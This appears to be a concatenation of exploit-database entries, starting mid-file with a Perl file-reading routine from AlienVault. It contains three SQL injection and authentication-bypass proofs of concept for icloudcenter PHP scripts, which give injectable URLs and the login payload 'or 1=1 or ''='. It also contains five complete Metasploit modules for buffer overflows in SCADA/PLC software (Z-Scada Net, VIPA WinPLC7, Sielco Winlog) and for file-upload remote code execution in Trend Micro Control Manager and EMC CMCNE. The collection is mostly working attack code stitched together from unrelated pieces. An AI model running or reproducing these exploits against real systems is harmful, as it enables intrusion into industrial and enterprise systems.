		end

	end

end
__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub get_file {
    my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file )
        = @_;
    my $file_content;

    verbose_log_file(
        "GET FILE      : Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$nombre,$r_file)"
    );

    if ($r_file =~  /[;`\$\<\>\|]/) {
        console_log_file("Not allowed r_file: $r_file in get_file\n");
        my @ret = ("Error");
        return \@ret;
    }

    if ( !-f "$r_file" ) {
        #my @ret = ("Error");
        verbose_log_file("Error file $r_file not found!");
        # Return empty file if not exists
        my @ret = ( "", "d41d8cd98f00b204e9800998ecf8427e", "$systemuuid" );
        return \@ret;
    }

    my $md5sum = `md5sum $r_file | awk {'print \$1'}` if ( -f "$r_file" );

    if ( open( my $ifh, $r_file ) ) {

        binmode($ifh);
        $file_content = do { local $/; <$ifh> };
        close($ifh);

        my @ret = ( "$file_content", "$md5sum", "$systemuuid" );
        return \@ret;

    }
    else {
        my @ret = ("Error");
        verbose_log_file("Error file $r_file not found!");
        return \@ret;

    }

}

            
# # # # # 
# Exploit Title: Support Tickets Helpdesk PHP Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/support-tickets-helpdesk-script.htm
# Demo: http://icloudcenter.net/demos/ichelpdesk/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&pk=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Website Builder Script With e-Commerce 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/site-builder-script.htm
# Demo: http://icloudcenter.net/demos/icsitebuilder/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Affiliate Tracking Script 1.1 - Authentication Bypass
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/affiliates-tracking-script.htm
# Demo: http://www.icloudcenter.com/demos/icaffiliatetracking/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/icaffiliatetracking/adminlogin.asp
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ZScada Net Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in
				Z-Scada Net 2.0.  The vulnerability is triggered when parsing
				the response to a Modbus packet.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN', 
							{
								# zscadanet.exe v1.0
								# pop ecx/ pop ebp/ retn
								'Ret' => 0x00429c35
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Dec 11 2014'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
			], self.class)
	end

	def on_client_data(client)
		p = payload.encoded

		buf = pattern_create(5000)
		buf[574, 4] = [0x909006eb].pack('V')	# jmp $+8
		buf[578, 4] = [target.ret].pack('V')
		buf[582, 24] = "\x41" * 24
		buf[606, p.length] = p

		client.put(buf)
		handler
		service.close_client(client)
	end

end

            
require 'msf/core'
require 'msf/core/exploit/php_exe'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::FileDropper
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro Control Manager importFile Directory Traversal RCE',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability found in Trend Micro
				Control Manager. The vulnerability is triggered when sending a specially crafted
				fileName (containing ../'s) parameter to the importFile.php script. This will allow
				for writing outside of the ImportPolicy directory.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'ZDI', '17-060' ],
					[ 'URL', 'https://success.trendmicro.com/solution/1116624' ]
				],
			'Payload'	 =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'php',
			'Arch'		 => ARCH_PHP,
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 07 2017'))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to TMCM', '/webapp']),
				OptBool.new('SSL', [ true, 'Use SSL', true]),
				Opt::RPORT(443),
			], self.class)
	end

	def exploit
		require 'securerandom'

		uri =	 target_uri.path
		uri << '/' if uri[-1,1] != '/'

		boundary = SecureRandom.hex
		payload_name = "#{rand_text_alpha(5)}.php"
		print_status("Uploading #{payload_name} to the server...")

		cookies =  "ASP_NET_SessionId=55hjl0burcvx21uslfxjbabs; "
		cookies << "wf_cookie_path=%2F; WFINFOR=#{rand_text_alpha(10)}; "
		cookies << "PHPSESSID=fc4o2lg5fpgognc28sjcitugj1; "
		cookies << "wf_CSRF_token=bd52b54ced23d3dc257984f68c39d34b; "
		cookies << "un=a8cad04472597b0c1163743109dad8f1; userID=1; "
		cookies << "LANG=en_US; "
		cookies << "wids=modTmcmCriticalEvents%2CmodTmcmUserThreatDetection%2CmodTmcmAppStatusSrv%2CmodTmcmTopThreats%2CmodTmcmEndpointThreatDetection%2CmodTmcmCompCompliance%2C; "
		cookies << "lastID=65; cname=mainConsole; theme=default; lastTab=-1"

		post_body = []
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
		post_body << "importPolicy\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"fileSize\"\r\n\r\n"
		post_body << "2097152\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"fileName\"\r\n\r\n"
		post_body << "../../../widget_60_2899/repository/db/sqlite/#{payload_name}\r\n"
		post_body << "--#{boundary}\r\n"
		post_body << "Content-Disposition: form-data; name=\"filename\";\r\n"
		post_body << "filename=\"policy.cmpolicy\"\r\n"
		post_body << "Content-Type: application/octet-stream\r\n\r\n"
		post_body << "<?php #{payload.raw} ?>\r\n\r\n"
		post_body << "--#{boundary}--\r\n"

		res = send_request_cgi({
			'method'	=> 'POST',
			'uri'			=>	normalize_uri("#{uri}", "widget", "repository", "widgetPool", "wp1", "widgetBase", "modTMCM", "inc", "importFile.php"),
			'ctype'		=>	"multipart/form-data; boundary=#{boundary}",
			'data'		=>	post_body.join,
			'headers'	=>	{
				'Cookie'					=>	cookies,
				'Accept-Encoding'	=>	"gzip;q=1.0,deflate;q=0.6,identity;q=0.3",
				'Connection'			=>	"close",
				'Accept'					=>	"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language'	=>	"en-US,en;q=0.5",
			},
		})

		if res.body =~ /Import Successfully/
			print_good("#{payload_name} uploaded successfully!")
			print_status("Attempting to execute payload...")

			res = send_request_cgi({
				'method'	=>	'GET',
				'uri'			=>	normalize_uri("#{uri}", "widget_60_2899", "repository", "db", "sqlite", "#{payload_name}"),
				'headesr'	=>	{
					'Cookie'	=>	cookies
				}
			})

		else
			print_error("Something went wrong...")
		end

	end
end

            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in VIPA
				Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
				WinPLC7 connects to a remote server and accepts a malicious packet.
				The first 2 bytes of this packet are read in and used as the size
				value for a later recv function.  If a size value of sufficiently
				large size is supplied a stack buffer overflow will occur
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'ZDI', '17-112' ],
					[ 'CVE', '2017-5177' ],
					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows 7 EN', 
							{
								# ws7v5.exe
								# jmp esp
								'Ret' => 0x00422354
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 28 2017'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
			], self.class)
	end

	def on_client_data(client)
		p = payload.encoded

		pkt =  "\x13\x88\x00\x00\x00"	# len
		pkt += Rex::Text.pattern_create(5000)

		pkt[848, 4] = [target.ret].pack('V')
		pkt[852, p.length] = p

		client.put(pkt)
		handler
		service.close_client(client)
	end

end

            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sielco Sistemi Winlog <= 2.07.16',
			'Description'    => %q{
				This module exploits a stack based buffer overflow
				found in Sielco Sistemi Winlog <= 2.07.16. The
				overflow is triggered during the parsing of a
				maliciously crafted packet
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space' => 150,
					'BadChars' => "\x00\x0a\x0d\x20",
					'DisableNops' => 'True',
					# add esp, -5500
					'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
					'Compat'	=>
						{
							'SymbolLookup' => 'ws2ord',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN (Automatic Washing System Demo)',
							{
								# vcldb40.bpl
								# jmp esp
								'Ret' => 0x46035f8b,
								'Offset' => 160,
								'jmp' => "\xe9\x56\xff\xff\xff",
							}
					],
					[
						'Windows XP SP3 EN (Car Simulation)',
							{
								# vcl40.bpl
								# jmp esp
								'Ret' => 0x4003eb6b,
								'Offset' => 175,
								'jmp' => "\xe9\x46\xff\xff\xff",
							}
					],
					[ 
						'Windows XP SP3 EN (Ceramics Kiln)', 
							{ 
								# ter19.dll
								# push esp/ retn
								'Ret' => 0x258b4432,
								'Offset' => 176,
								'jmp' => "\xe9\x46\xff\xff\xff",
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 26 2012'))

		register_options([Opt::RPORT(46824)], self.class)
	end

	def exploit
		connect

		boom =  rand_text_alpha_upper(20)
		boom << 'x'
		boom << rand_text_alpha_upper(target['Offset'])
		boom << [target.ret].pack('V')
		boom << "\x41" * 4
		boom << target['jmp']
		boom << "\xcc" * (281 - boom.length)

		boom[22,4] = "\x41" * 4
		boom[26,payload.encoded.length] = payload.encoded

		print_status("Trying target #{target.name}...")
		sock.put(boom)

		handler
	end

end

            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC CMCNE Inmservlets.war FileUploadController Remote Code Execution',
			'Description'    => %q{
				This module exploits a file upload vulnerability found in EMC 
				Connectrix Manager Converged Network Edition <= 11.2.1. The file
				upload vulnerability is triggered when sending a specially crafted
				filename to the FileUploadController servlet found within the 
				Inmservlets.war archive. This allows the attacker to upload a
				specially crafted file which leads to remote code execution in the
				context of the server user.
			},
			'Author'		 => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'ZDI', '13-280' ],
					[ 'CVE', '2013-6810' ]
				],
			'Privileged'	=> true,
			'Platform' 	=> 'win',
			'Arch'	=> ARCH_JAVA,
			'Targets'	=>
				[
					[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 18 2013'))

		register_options([
			Opt::RPORT(80)
		], self.class)
	end

	def exploit

		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
		deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
		jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
		@jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"

		data = Rex::MIME::Message.new
		data.add_part("#{jsp}", nil, nil, "form-data; name=\"ftproot\"; filename=\"#{deploy}#{@jsp_name}\"")

		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

		print_status("#{peer} - Uploading the JSP Payload...")
		res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri("inmservlets", "FileUploadController"),
            'ctype'     => "multipart/form-data; boundary=#{data.bound}",
            'data'      => post_data,
			'headers'	=> {
				'ROOTDIR'	=> "ftproot"
			}
        })

		if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
			print_good("File uploaded successfully!")
			print_status("Executing '#{@jsp_name}' now...")
			res = send_request_cgi({
				'method'	=> 'GET',
				'uri'		=> normalize_uri("dcm-client", "#{@jsp_name}")
			})
		else
			print_error("Does not look like the files were uploaded to #{peer}...")
		end

	end

end